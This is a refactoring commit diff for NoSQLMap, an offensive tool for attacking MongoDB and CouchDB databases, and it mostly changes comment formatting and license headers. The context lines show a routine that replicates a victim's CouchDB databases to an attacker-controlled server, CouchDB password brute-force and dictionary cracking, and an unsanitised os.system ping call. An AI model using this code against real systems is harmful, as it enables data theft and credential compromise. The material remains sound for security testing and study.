Merge pull request #55 from codingo/topic-refactoring

Topic refactoring

Author: codingo

.gitignore

@@ -219,3 +219,6 @@ pip-log.txt
 .idea/.name
 
 .idea/NoSQLMap.iml
+*.iml
+*.pyproj
+*.sln

nosqlmap.py

@@ -1,18 +1,6 @@
 #!/usr/bin/python
-#NoSQLMap Copyright 2016 Russell Butturini
-#This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-#the Free Software Foundation, either version 3 of the License, or
-#(at your option) any later version.
-
-#This program is distributed in the hope that it will be useful,
-#but WITHOUT ANY WARRANTY; without even the implied warranty of
-#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#GNU General Public License for more details.
-
-#You should have received a copy of the GNU General Public License
-#along with this program.  If not, see <http://www.gnu.org/licenses/>.
-
+# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
+# See the file 'doc/COPYING' for copying permission
 
 import sys
 import nsmcouch
@@ -23,10 +11,11 @@
 import signal
 import ast
 
+
 def main():
     signal.signal(signal.SIGINT, signal_handler)
     global optionSet
-    #Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu.
+    # Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu.
     optionSet = [False]*9
     global yes_tag
     global no_tag
@@ -43,7 +32,7 @@ def main():
     global verb
     global scanNeedCreds
     global dbPort
-    #Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen )
+    # Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen )
     platform = "MongoDB"
     dbPort = 27017
     myIP = "Not Set"
@@ -75,7 +64,7 @@ def mainMenu():
         print "\_| \_/\___/\____/  \_/\_\_____/\_|  |_/\__,_| .__/"
         print "===================================================="
         print "NoSQLMap-v0.7"
-        print "nosqlmap@gmail.com"
+        print "codingo@protonmail.com"
         print "\n"
         print "1-Set options"
         print "2-NoSQL DB Access Attacks"
@@ -97,13 +86,13 @@ def mainMenu():
                 elif platform == "CouchDB":
                     nsmcouch.netAttacks(victim, dbPort, myIP)
 
-            #Check minimum required options
+            # Check minimum required options
             else:
                 raw_input("Target not set! Check options.  Press enter to continue...")
 
 
         elif select == "3":
-            #Check minimum required options
+            # Check minimum required options
             if (optionSet[0] == True) and (optionSet[2] == True):
                 if httpMethod == "GET":
                     nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders)
@@ -131,6 +120,7 @@ def mainMenu():
         else:
             raw_input("Invalid selection.  Press enter to continue.")
 
+
 def platSel():
     global platform
     global dbPort
@@ -154,6 +144,7 @@ def platSel():
         else:
             raw_input("Invalid selection.  Press enter to continue.")
 
+
 def options():
     global victim
     global webPort
@@ -171,7 +162,7 @@ def options():
     requestHeaders = {}
     optSelect = True
 
-    #Set default value if needed
+    # Set default value if needed
     if optionSet[0] == False:
         global victim
         victim = "Not Set"
@@ -219,24 +210,24 @@ def options():
         select = raw_input("Select an option: ")
 
         if select == "1":
-            #Unset the boolean if it's set since we're setting it again.
+            # Unset the boolean if it's set since we're setting it again.
             optionSet[0] = False
             ipLen = False
 
             while optionSet[0] == False:
                 goodDigits = True
                 notDNS = True
                 victim = raw_input("Enter the host IP/DNS name: ")
-                #make sure we got a valid IP
+                # make sure we got a valid IP
                 octets = victim.split(".")
 
                 if len(octets) != 4:
-                    #Treat this as a DNS name
+                    # Treat this as a DNS name
                     optionSet[0] = True
                     notDNS = False
                 else:
-                    #If len(octets) != 4 is executed the block of code below is also run, but it is not necessary
-                    #If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
+                    # If len(octets) != 4 is executed the block of code below is also run, but it is not necessary
+                    # If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
                     for item in octets:
                         try:
                             if int(item) < 0 or int(item) > 255:
@@ -308,39 +299,40 @@ def options():
                     print "Invalid selection"
 
         elif select == "7":
-            #Unset the setting boolean since we're setting it again.
+            # Unset the setting boolean since we're setting it again.
             optionSet[4] = False
 
             while optionSet[4] == False:
                 goodLen = False
                 goodDigits = True
-                #Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug
-                #For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False
-                #Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables
+                # Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug
+                # For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False
+                # Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables
                 myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ")
-                #make sure we got a valid IP
+                # make sure we got a valid IP
                 octets = myIP.split(".")
-                #If there aren't 4 octets, toss an error.
+                # If there aren't 4 octets, toss an error.
                 if len(octets) != 4:
                     print "Invalid IP length."
 
                 else:
                     goodLen = True
 
                 if goodLen == True:
-                #If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
+                # If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
                     for item in octets:
                         if int(item) < 0 or int(item) > 255:
                             print "Bad octet in IP address."
                             goodDigits = False
 
-#						else:
-#							goodDigits = True
-                        #Default value of goodDigits should be set to True
-                        #for example 12.12345.12.12
+                        # else:
+                        # goodDigits = True
 
+                        # Default value of goodDigits should be set to True
+                        # for example 12.12345.12.12
 
-                #If everything checks out set the IP and break the loop
+
+                # If everything checks out set the IP and break the loop
                 if goodLen == True and goodDigits == True:
                     print "\nShell/DB listener set to " + myIP + "\n"
                     optionSet[4] = True
@@ -380,7 +372,7 @@ def options():
                 if httpMethod == "POST":
                     postData = ast.literal_eval(csvOpt[1])
 
-                #Set option checking array based on what was loaded
+                # Set option checking array based on what was loaded
                 x = 0
                 for item in optList:
                     if item != "Not Set":
@@ -410,7 +402,7 @@ def options():
                 paramValues = []
                 httpMethod = "POST"
                 postData = reqData[len(reqData)-1]
-                #split the POST parameters up into individual items
+                # split the POST parameters up into individual items
                 paramsNvalues = postData.split("&")
 
                 for item in paramsNvalues:

nsmcouch.py

@@ -1,19 +1,6 @@
 #!/usr/bin/python
-#NoSQLMap Copyright 2016 Russell Butturini
-#This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-#the Free Software Foundation, either version 3 of the License, or
-#(at your option) any later version.
-
-#This program is distributed in the hope that it will be useful,
-#but WITHOUT ANY WARRANTY; without even the implied warranty of
-#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#GNU General Public License for more details.
-
-#You should have received a copy of the GNU General Public License
-#along with this program.  If not, see <http://www.gnu.org/licenses/>.
-
-
+# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
+# See the file 'doc/COPYING' for copying permission
 
 import couchdb
 import urllib
@@ -27,12 +14,14 @@
 from hashlib import sha1
 import os
 
+
 global dbList
 global yes_tag
 global no_tag
 yes_tag = ['y', 'Y']
 no_tag = ['n', 'N']
 
+
 def couchScan(target,port,pingIt):
     if pingIt == True:
         test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null")
@@ -81,7 +70,7 @@ def netAttacks(target,port, myIP):
     mgtOpen = False
     webOpen = False
     mgtSelect = True
-    #This is a global for future use with other modules; may change
+    # This is a global for future use with other modules; may change
     dbList = []
     print "Checking to see if credentials are needed..."
     needCreds = couchScan(target,port,False)
@@ -117,7 +106,7 @@ def netAttacks(target,port, myIP):
 
 
     mgtUrl = "http://" + target + ":" + str(port) + "/_utils"
-    #Future rev:  Add web management interface parsing
+    # Future rev:  Add web management interface parsing
     try:
         mgtRespCode = urllib.urlopen(mgtUrl).getcode()
         if mgtRespCode == 200:
@@ -155,11 +144,13 @@ def netAttacks(target,port, myIP):
             if attack == "5":
                     return
 
+
 def getPlatInfo(couchConn, target):
     print "Server Info:"
     print "CouchDB Version: " + couchConn.version()
     return
 
+
 def enumAtt(conn,target):
     dbList = []
     print "Enumerating all attachments..."
@@ -221,6 +212,7 @@ def enumDbs (couchConn,target,port):
 
     return
 
+
 def stealDBs (myDB,couchConn,target,port):
     dbLoot = True
     menuItem = 1
@@ -247,7 +239,7 @@ def stealDBs (myDB,couchConn,target,port):
             break
 
     try:
-        #Create the DB target first
+        # Create the DB target first
         myServer = couchdb.Server("http://" + myDB + ":5984")
         targetDB = myServer.create(dbList[int(dbLoot)-1] + "_stolen")
         couchConn.replicate(dbList[int(dbLoot)-1],"http://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen")
@@ -264,6 +256,7 @@ def stealDBs (myDB,couchConn,target,port):
         raw_input ("Something went wrong.  Are you sure your CouchDB is running and options are set? Press enter to return...")
         return
 
+
 def passCrack (user, encPass, salt, dbVer):
     select = True
     print "Select password cracking method: "
@@ -286,9 +279,11 @@ def passCrack (user, encPass, salt, dbVer):
                     return
     return
 
+
 def genBrute(chars, maxLen):
     return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1)))
 
+
 def brute_pass(hashVal,salt,dbVer):
     charSel = True
     print "\n"
@@ -326,7 +321,7 @@ def brute_pass(hashVal,salt,dbVer):
         print "\rCombinations tested: " + str(count) + "\r"
         count += 1
 
-        #CouchDB hashing method changed starting with v1.3.  Decide based on DB version which hash method to use.
+        # CouchDB hashing method changed starting with v1.3.  Decide based on DB version which hash method to use.
         if float(dbVer[0:3]) < 1.3:
             gotIt = gen_pass_couch(attempt,salt,hashVal)
         else:
@@ -335,6 +330,7 @@ def brute_pass(hashVal,salt,dbVer):
         if gotIt == True:
                 break
 
+
 def dict_pass(key,salt,dbVer):
     loadCheck = False
 
@@ -354,7 +350,7 @@ def dict_pass(key,salt,dbVer):
     for passGuess in passList:
         temp = passGuess.split("\n")[0]
 
-        #CouchDB hashing method changed starting with v1.3.  Decide based on DB version which hash method to use.
+        # CouchDB hashing method changed starting with v1.3.  Decide based on DB version which hash method to use.
         if float(dbVer[0:3]) < 1.3:
             gotIt = gen_pass_couch(temp,salt,key)
         else:
@@ -365,6 +361,7 @@ def dict_pass(key,salt,dbVer):
 
     return
 
+
 def gen_pass_couch(passw, salt, hashVal):
     if sha1(passw+salt).hexdigest() == hashVal:
         print "Password Cracked - "+passw
@@ -373,6 +370,7 @@ def gen_pass_couch(passw, salt, hashVal):
     else:
         return False
 
+
 def gen_pass_couch13(passw, salt, iterations, hashVal):
 	result=PBKDF2(passw,salt,iterations).read(20)
 	expected=a2b_hex(hashVal)